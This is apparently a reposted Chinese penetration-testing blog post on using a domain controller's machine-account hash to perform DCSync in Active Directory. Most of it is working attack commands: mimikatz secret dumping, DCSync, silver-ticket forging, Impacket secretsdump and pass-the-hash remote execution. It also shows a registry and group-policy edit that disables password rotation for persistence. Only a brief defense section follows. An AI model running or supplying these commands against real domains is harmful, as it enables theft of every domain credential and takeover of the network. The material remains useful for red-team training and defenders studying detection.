域渗透——使用 MachineAccount 实现 DCSync

发布于 2024-09-10 00:19:14 字数 6671 浏览 9 评论 0

0x00 前言

在之前的文章 《域渗透——DCSync》 提到过 DCSync 的利用条件:

获得以下任一用户的权限:

  • Administrators 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户
  • 域控制器的计算机帐户

本文将要补全上篇文章中未提到的最后一种利用方法,介绍如何通过域控制器的计算机帐户口令 hash 实现 DCSync

0x01 简介

本文将要介绍以下内容:

  • MachineAccount 简介
  • 获得 MachineAccount 口令 hash 的方法
  • 使用 MachineAccount 实现 DCSync
  • 防御检测

0x02 MachineAccount 简介

MachineAccount 是每台计算机在安装系统后默认生成的计算机帐户

计算机帐户的密码存储在注册表的位置: HKLM\SECURITY\Policy\Secrets\$machine.ACC

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的 NTDS.dit 文件中

计算机帐户的密码默认每 30 天自动更新,密码长度为 120 个字符,所以说,即使获得了计算机帐户密码的 hash,也很难还原出计算机帐户的明文口令

关闭当前计算机帐户密码自动更新的两种方法(适用于工作组):

1.修改组策略

组策略位置:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

如下图

Alt text

默认未启用,如果设置为启用后,将会停止更新密码

参考资料:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10 )

2.直接修改注册表

注册表位置: HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\

DisablePasswordChange 的值设为 1

关闭域内计算机帐户密码自动更新的两种方法(适用于域网络):

1.修改组策略

这里需要修改域组策略,在域控制器上打开 Group Policy Management 后,选择 Default Domain Policy

如下图

Alt text

组策略位置:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

2.修改组策略的配置文件

Default Domain Policy 对应的 guid 为 31B2F340-016D-11D2-945F-00C04FB984F9

配置文件路径为:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit

例如我的测试环境下,路径对应为:

\\test.com\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit

修改文件 GptTmpl.inf ,在 [Registry Values] 下添加新的内容:

MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1

如下图

Alt text

强制域控制器更新组策略,命令如下:

gpupdate /force

配置完成,将系统时间调快 30 天,hash 保持不变

0x03 获得 MachineAccount 口令 hash 的方法

1.通过注册表文件导出当前计算机帐户的口令 hash

mimikatz 命令示例:

privilege::debug
token::elevate
lsadump::secrets

返回的结果中, $machine.ACC 项对应计算机帐户,如下图

Alt text

其他从注册表导出的方法可参考之前的文章 《渗透技巧——通过 SAM 数据库获得本地用户 hash》

2.使用 DCSync 导出所有计算机帐户的口令 hash

(1) 使用 mimikatz

在域控制器上使用 mimikatz 导出域内所有用户的 hash,命令示例:

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

其中以 $ 字符结尾的为计算机帐户

其他环境下的使用方法可参考之前的文章 《域渗透——DCSync》

(2) 使用 secretsdump.py

需要安装 Python 环境和 Impacket 包,实际使用时可以将 Python 代码编译成 exe 文件

命令示例:

python secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1

secretsdump.py 相比于 mimikatz,最大的优点是支持从域外的计算机连接至域控制器

secretsdump.py 的实现原理:使用计算机帐户口令 hash 通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的 hash,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的 hash

3.通过漏洞 CVE-2020-1472

参考资料:https://www.secura.com/pathtoimg.php?id=2055

CVE-2020-1472 能够在未授权的状态下远程修改目标计算机帐户的口令 hash

注:CVE-2020-1472 只能修改域控制器 NTDS.dit 文件中保存的计算机帐户 hash,无法修改注册表中保存的本地计算机帐户 hash

当域控制器中 NTDS.dit 文件和注册表文件的计算机帐户口令 hash 不同步时,有可能影响系统的正常功能

0x04 使用 MachineAccount 实现 DCSync

例如,我们获得了域控制器 DC1 的计算机帐户口令 hash 为 7da530fba3b15a2ea21ce7db8110d57b

1.使用 mimikatz

这里需要制作白银票据(Silver Ticket),接着获得 LDAP 服务的访问权限,细节可参考之前的文章《域渗透——Pass The Ticket》

命令示例:

mimikatz "kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt" "lsadump::dcsync /domain:test.com /all /csv" exit

在细节上需要注意以下方面:

  • 只能在域内计算机上运行,不支持域外
  • /sid 表示域的 sid,获取方法可参考之前的文章 《渗透基础——活动目录信息的获取》
  • /rc4 表示计算机帐户的 NTLM hash
  • /user:krbtgt 表示伪造成用户 krbtgt,生成票据

注:域 sid 的简单获取方法

任一域用户的 sid 去除最后一位就是域的 sid

2.使用 secretsdump

命令示例:

python secretsdump.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1

在细节上需要注意以下方面:

  • secretsdump 支持从域外的计算机连接至域控制器
  • 如果使用域内普通计算机帐户的口令 hash 连接对应的计算机,那么会失败,提示 rpc_s_access_denied
  • 可以通过 wmiexec.pysmbexec.py 远程执行 cmd 命令

命令示例:

python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv

注:

使用计算机帐户具有高权限,如下图

Alt text

0x05 防御检测

检测 DCSync 后门的方法可参考 《域渗透——DCSync》

站在防御的角度,如果域管理员的权限被攻击者获得,在尝试踢出攻击者的过程中,不仅需要修改域管理员用户的口令,同样需要更新计算器帐户的口令 hash,检测域组策略是否被配置成开启 DisablePasswordChange

0x06 小结

本文介绍了通过域控制器的计算机帐户口令 hash 实现 DCSync 的方法,分析利用思路,给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

蓝颜夕

暂无简介

0 文章
0 评论
702 人气
更多

推荐作者

末蓝

文章 0 评论 0

年少掌心

文章 0 评论 0

党海生

文章 0 评论 0

飞翔的企鹅

文章 0 评论 0

鹿港小镇

文章 0 评论 0

wookoon

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文